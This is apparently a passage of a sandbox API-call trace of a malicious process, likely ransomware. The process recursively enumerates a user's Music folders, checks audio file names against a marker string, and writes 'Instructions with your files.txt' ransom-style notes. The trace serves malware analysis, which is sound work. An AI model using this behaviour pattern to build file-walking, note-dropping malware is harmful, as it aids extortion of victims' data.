[0131.660] StrStrIW (lpFirst="N4MlYV9IcS.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.660] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f60a230, ftCreationTime.dwHighDateTime=0x1d5be9e, ftLastAccessTime.dwLowDateTime=0x1b904500, ftLastAccessTime.dwHighDateTime=0x1d5b9b0, ftLastWriteTime.dwLowDateTime=0x1b904500, ftLastWriteTime.dwHighDateTime=0x1d5b9b0, nFileSizeHigh=0x0, nFileSizeLow=0xa6db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TQMlbL-ac.mp3", cAlternateFileName="TQMLBL~1.MP3")) returned 1
[0131.660] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TQMlbL-ac.mp3") returned 53
[0131.660] StrStrIW (lpFirst="TQMlbL-ac.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.660] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63f68790, ftCreationTime.dwHighDateTime=0x1d5c401, ftLastAccessTime.dwLowDateTime=0xc822ee90, ftLastAccessTime.dwHighDateTime=0x1d5bba8, ftLastWriteTime.dwLowDateTime=0xc822ee90, ftLastWriteTime.dwHighDateTime=0x1d5bba8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wPKnTbjuuYij", cAlternateFileName="WPKNTB~1")) returned 1
[0131.660] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij") returned 52
[0131.660] GetProcessHeap () returned 0x810000
[0131.660] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.660] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\*") returned 54
[0131.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63f68790, ftCreationTime.dwHighDateTime=0x1d5c401, ftLastAccessTime.dwLowDateTime=0xc822ee90, ftLastAccessTime.dwHighDateTime=0x1d5bba8, ftLastWriteTime.dwLowDateTime=0xc822ee90, ftLastWriteTime.dwHighDateTime=0x1d5bba8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.662] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\.") returned 54
[0131.662] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63f68790, ftCreationTime.dwHighDateTime=0x1d5c401, ftLastAccessTime.dwLowDateTime=0xc822ee90, ftLastAccessTime.dwHighDateTime=0x1d5bba8, ftLastWriteTime.dwLowDateTime=0xc822ee90, ftLastWriteTime.dwHighDateTime=0x1d5bba8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.662] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\..") returned 55
[0131.662] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42abcf40, ftCreationTime.dwHighDateTime=0x1d5b6a6, ftLastAccessTime.dwLowDateTime=0x525120b0, ftLastAccessTime.dwHighDateTime=0x1d5bca2, ftLastWriteTime.dwLowDateTime=0x525120b0, ftLastWriteTime.dwHighDateTime=0x1d5bca2, nFileSizeHigh=0x0, nFileSizeLow=0x4d66, dwReserved0=0x0, dwReserved1=0x0, cFileName="9xjrmfwJ-y19UPXg.mp3", cAlternateFileName="9XJRMF~1.MP3")) returned 1
[0131.662] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\9xjrmfwJ-y19UPXg.mp3") returned 73
[0131.662] StrStrIW (lpFirst="9xjrmfwJ-y19UPXg.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.662] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f32b3f0, ftCreationTime.dwHighDateTime=0x1d5c421, ftLastAccessTime.dwLowDateTime=0x264f0310, ftLastAccessTime.dwHighDateTime=0x1d5bbfd, ftLastWriteTime.dwLowDateTime=0x264f0310, ftLastWriteTime.dwHighDateTime=0x1d5bbfd, nFileSizeHigh=0x0, nFileSizeLow=0x2d8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GyX6oVxLwnEQ.m4a", cAlternateFileName="GYX6OV~1.M4A")) returned 1
[0131.662] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\GyX6oVxLwnEQ.m4a") returned 69
[0131.662] StrStrIW (lpFirst="GyX6oVxLwnEQ.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.662] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed50c130, ftCreationTime.dwHighDateTime=0x1d5c173, ftLastAccessTime.dwLowDateTime=0xd9da6bf0, ftLastAccessTime.dwHighDateTime=0x1d5bbb6, ftLastWriteTime.dwLowDateTime=0xd9da6bf0, ftLastWriteTime.dwHighDateTime=0x1d5bbb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ilcAYck_xBDoHabOlZ", cAlternateFileName="ILCAYC~1")) returned 1
[0131.662] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ") returned 71
[0131.663] GetProcessHeap () returned 0x810000
[0131.663] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.663] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\*") returned 73
[0131.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed50c130, ftCreationTime.dwHighDateTime=0x1d5c173, ftLastAccessTime.dwLowDateTime=0xd9da6bf0, ftLastAccessTime.dwHighDateTime=0x1d5bbb6, ftLastWriteTime.dwLowDateTime=0xd9da6bf0, ftLastWriteTime.dwHighDateTime=0x1d5bbb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.665] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\.") returned 73
[0131.665] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed50c130, ftCreationTime.dwHighDateTime=0x1d5c173, ftLastAccessTime.dwLowDateTime=0xd9da6bf0, ftLastAccessTime.dwHighDateTime=0x1d5bbb6, ftLastWriteTime.dwLowDateTime=0xd9da6bf0, ftLastWriteTime.dwHighDateTime=0x1d5bbb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.665] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\..") returned 74
[0131.665] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f2a5960, ftCreationTime.dwHighDateTime=0x1d5c562, ftLastAccessTime.dwLowDateTime=0xab1a6740, ftLastAccessTime.dwHighDateTime=0x1d5b826, ftLastWriteTime.dwLowDateTime=0xab1a6740, ftLastWriteTime.dwHighDateTime=0x1d5b826, nFileSizeHigh=0x0, nFileSizeLow=0x153aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="-S9cW6J0Hyi0Z3qZ.wav", cAlternateFileName="-S9CW6~1.WAV")) returned 1
[0131.665] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\-S9cW6J0Hyi0Z3qZ.wav") returned 92
[0131.665] StrStrIW (lpFirst="-S9cW6J0Hyi0Z3qZ.wav", lpSrch="SDfghjkl") returned 0x0
[0131.665] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a0360f0, ftCreationTime.dwHighDateTime=0x1d5b70c, ftLastAccessTime.dwLowDateTime=0x15560850, ftLastAccessTime.dwHighDateTime=0x1d5bd2f, ftLastWriteTime.dwLowDateTime=0x15560850, ftLastWriteTime.dwHighDateTime=0x1d5bd2f, nFileSizeHigh=0x0, nFileSizeLow=0x9839, dwReserved0=0x0, dwReserved1=0x0, cFileName="15IT_ MCAv.wav", cAlternateFileName="15IT_M~1.WAV")) returned 1
[0131.665] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\15IT_ MCAv.wav") returned 86
[0131.665] StrStrIW (lpFirst="15IT_ MCAv.wav", lpSrch="SDfghjkl") returned 0x0
[0131.665] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc53a90, ftCreationTime.dwHighDateTime=0x1d5b8a8, ftLastAccessTime.dwLowDateTime=0x456eae10, ftLastAccessTime.dwHighDateTime=0x1d5c091, ftLastWriteTime.dwLowDateTime=0x456eae10, ftLastWriteTime.dwHighDateTime=0x1d5c091, nFileSizeHigh=0x0, nFileSizeLow=0x3dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HCpQqL-IN1.wav", cAlternateFileName="HCPQQL~1.WAV")) returned 1
[0131.665] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\HCpQqL-IN1.wav") returned 86
[0131.665] StrStrIW (lpFirst="HCpQqL-IN1.wav", lpSrch="SDfghjkl") returned 0x0
[0131.665] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bae5400, ftCreationTime.dwHighDateTime=0x1d5be47, ftLastAccessTime.dwLowDateTime=0xe2779230, ftLastAccessTime.dwHighDateTime=0x1d5c398, ftLastWriteTime.dwLowDateTime=0xe2779230, ftLastWriteTime.dwHighDateTime=0x1d5c398, nFileSizeHigh=0x0, nFileSizeLow=0x106b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HmKdH SgV9.wav", cAlternateFileName="HMKDHS~1.WAV")) returned 1
[0131.665] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\HmKdH SgV9.wav") returned 86
[0131.665] StrStrIW (lpFirst="HmKdH SgV9.wav", lpSrch="SDfghjkl") returned 0x0
[0131.665] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf26ef60, ftCreationTime.dwHighDateTime=0x1d5c2ce, ftLastAccessTime.dwLowDateTime=0x8fde2620, ftLastAccessTime.dwHighDateTime=0x1d5b7b2, ftLastWriteTime.dwLowDateTime=0x8fde2620, ftLastWriteTime.dwHighDateTime=0x1d5b7b2, nFileSizeHigh=0x0, nFileSizeLow=0x426a, dwReserved0=0x0, dwReserved1=0x0, cFileName="lvWFC4EYEo.wav", cAlternateFileName="LVWFC4~1.WAV")) returned 1
[0131.665] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\lvWFC4EYEo.wav") returned 86
[0131.665] StrStrIW (lpFirst="lvWFC4EYEo.wav", lpSrch="SDfghjkl") returned 0x0
[0131.665] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5fd1740, ftCreationTime.dwHighDateTime=0x1d5bd9d, ftLastAccessTime.dwLowDateTime=0x4baa1440, ftLastAccessTime.dwHighDateTime=0x1d5bdb7, ftLastWriteTime.dwLowDateTime=0x4baa1440, ftLastWriteTime.dwHighDateTime=0x1d5bdb7, nFileSizeHigh=0x0, nFileSizeLow=0xe506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MxpwkyZU8Kk6VwiO_g2.m4a", cAlternateFileName="MXPWKY~1.M4A")) returned 1
[0131.665] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\MxpwkyZU8Kk6VwiO_g2.m4a") returned 95
[0131.665] StrStrIW (lpFirst="MxpwkyZU8Kk6VwiO_g2.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.665] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55826e80, ftCreationTime.dwHighDateTime=0x1d5c2b8, ftLastAccessTime.dwLowDateTime=0xc4a9ce10, ftLastAccessTime.dwHighDateTime=0x1d5c1e2, ftLastWriteTime.dwLowDateTime=0xc4a9ce10, ftLastWriteTime.dwHighDateTime=0x1d5c1e2, nFileSizeHigh=0x0, nFileSizeLow=0xe994, dwReserved0=0x0, dwReserved1=0x0, cFileName="OuHW9NM.m4a", cAlternateFileName="")) returned 1
[0131.665] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\OuHW9NM.m4a") returned 83
[0131.665] StrStrIW (lpFirst="OuHW9NM.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.665] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc676aa20, ftCreationTime.dwHighDateTime=0x1d5c277, ftLastAccessTime.dwLowDateTime=0xe397d690, ftLastAccessTime.dwHighDateTime=0x1d5bf77, ftLastWriteTime.dwLowDateTime=0xe397d690, ftLastWriteTime.dwHighDateTime=0x1d5bf77, nFileSizeHigh=0x0, nFileSizeLow=0x120aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="QNuAtDhtzrt6UbBU.m4a", cAlternateFileName="QNUATD~1.M4A")) returned 1
[0131.665] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\QNuAtDhtzrt6UbBU.m4a") returned 92
[0131.665] StrStrIW (lpFirst="QNuAtDhtzrt6UbBU.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.665] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c69eea0, ftCreationTime.dwHighDateTime=0x1d5bd78, ftLastAccessTime.dwLowDateTime=0x7a1b8380, ftLastAccessTime.dwHighDateTime=0x1d5c1e6, ftLastWriteTime.dwLowDateTime=0x7a1b8380, ftLastWriteTime.dwHighDateTime=0x1d5c1e6, nFileSizeHigh=0x0, nFileSizeLow=0x13129, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tz6U92XlWi.wav", cAlternateFileName="TZ6U92~1.WAV")) returned 1
[0131.665] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\Tz6U92XlWi.wav") returned 86
[0131.665] StrStrIW (lpFirst="Tz6U92XlWi.wav", lpSrch="SDfghjkl") returned 0x0
[0131.666] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37a2fed0, ftCreationTime.dwHighDateTime=0x1d5bf9c, ftLastAccessTime.dwLowDateTime=0xd3cbf030, ftLastAccessTime.dwHighDateTime=0x1d5b5df, ftLastWriteTime.dwLowDateTime=0xd3cbf030, ftLastWriteTime.dwHighDateTime=0x1d5b5df, nFileSizeHigh=0x0, nFileSizeLow=0x186f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="uFAb1NyrBd-lO4rSu4.mp3", cAlternateFileName="UFAB1N~1.MP3")) returned 1
[0131.666] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\uFAb1NyrBd-lO4rSu4.mp3") returned 94
[0131.666] StrStrIW (lpFirst="uFAb1NyrBd-lO4rSu4.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.666] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d441d0, ftCreationTime.dwHighDateTime=0x1d5bc9d, ftLastAccessTime.dwLowDateTime=0x36df9200, ftLastAccessTime.dwHighDateTime=0x1d5c100, ftLastWriteTime.dwLowDateTime=0x36df9200, ftLastWriteTime.dwHighDateTime=0x1d5c100, nFileSizeHigh=0x0, nFileSizeLow=0x9071, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ujr06KErxZSI0NjAbc.wav", cAlternateFileName="UJR06K~1.WAV")) returned 1
[0131.666] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\Ujr06KErxZSI0NjAbc.wav") returned 94
[0131.666] StrStrIW (lpFirst="Ujr06KErxZSI0NjAbc.wav", lpSrch="SDfghjkl") returned 0x0
[0131.666] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d441d0, ftCreationTime.dwHighDateTime=0x1d5bc9d, ftLastAccessTime.dwLowDateTime=0x36df9200, ftLastAccessTime.dwHighDateTime=0x1d5c100, ftLastWriteTime.dwLowDateTime=0x36df9200, ftLastWriteTime.dwHighDateTime=0x1d5c100, nFileSizeHigh=0x0, nFileSizeLow=0x9071, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ujr06KErxZSI0NjAbc.wav", cAlternateFileName="UJR06K~1.WAV")) returned 0
[0131.666] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\Instructions with your files.txt") returned 104
[0131.666] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ilcAYck_xBDoHabOlZ\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wpkntbjuuyij\\ilcayck_xbdohabolz\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.666] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.667] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.667] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.667] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.667] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.667] CloseHandle (hObject=0x114) returned 1
[0131.667] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.667] GetProcessHeap () returned 0x810000
[0131.667] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.667] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec6ebd0, ftCreationTime.dwHighDateTime=0x1d5b949, ftLastAccessTime.dwLowDateTime=0x24267e0, ftLastAccessTime.dwHighDateTime=0x1d5b7f3, ftLastWriteTime.dwLowDateTime=0x24267e0, ftLastWriteTime.dwHighDateTime=0x1d5b7f3, nFileSizeHigh=0x0, nFileSizeLow=0x8408, dwReserved0=0x0, dwReserved1=0x0, cFileName="rWrPqUHBtL.wav", cAlternateFileName="RWRPQU~1.WAV")) returned 1
[0131.667] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\rWrPqUHBtL.wav") returned 67
[0131.668] StrStrIW (lpFirst="rWrPqUHBtL.wav", lpSrch="SDfghjkl") returned 0x0
[0131.668] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff830d0, ftCreationTime.dwHighDateTime=0x1d5c190, ftLastAccessTime.dwLowDateTime=0x3dfc0390, ftLastAccessTime.dwHighDateTime=0x1d5be8d, ftLastWriteTime.dwLowDateTime=0x3dfc0390, ftLastWriteTime.dwHighDateTime=0x1d5be8d, nFileSizeHigh=0x0, nFileSizeLow=0xc5df, dwReserved0=0x0, dwReserved1=0x0, cFileName="SbJVX.m4a", cAlternateFileName="")) returned 1
[0131.668] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\SbJVX.m4a") returned 62
[0131.668] StrStrIW (lpFirst="SbJVX.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.668] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e13ac0, ftCreationTime.dwHighDateTime=0x1d5be1f, ftLastAccessTime.dwLowDateTime=0xf76b6010, ftLastAccessTime.dwHighDateTime=0x1d5b888, ftLastWriteTime.dwLowDateTime=0xf76b6010, ftLastWriteTime.dwHighDateTime=0x1d5b888, nFileSizeHigh=0x0, nFileSizeLow=0xb215, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZzxPKiqAz8wQ.m4a", cAlternateFileName="ZZXPKI~1.M4A")) returned 1
[0131.668] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\ZzxPKiqAz8wQ.m4a") returned 69
[0131.668] StrStrIW (lpFirst="ZzxPKiqAz8wQ.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.668] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e13ac0, ftCreationTime.dwHighDateTime=0x1d5be1f, ftLastAccessTime.dwLowDateTime=0xf76b6010, ftLastAccessTime.dwHighDateTime=0x1d5b888, ftLastWriteTime.dwLowDateTime=0xf76b6010, ftLastWriteTime.dwHighDateTime=0x1d5b888, nFileSizeHigh=0x0, nFileSizeLow=0xb215, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZzxPKiqAz8wQ.m4a", cAlternateFileName="ZZXPKI~1.M4A")) returned 0
[0131.668] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\Instructions with your files.txt") returned 85
[0131.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wPKnTbjuuYij\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wpkntbjuuyij\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.668] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
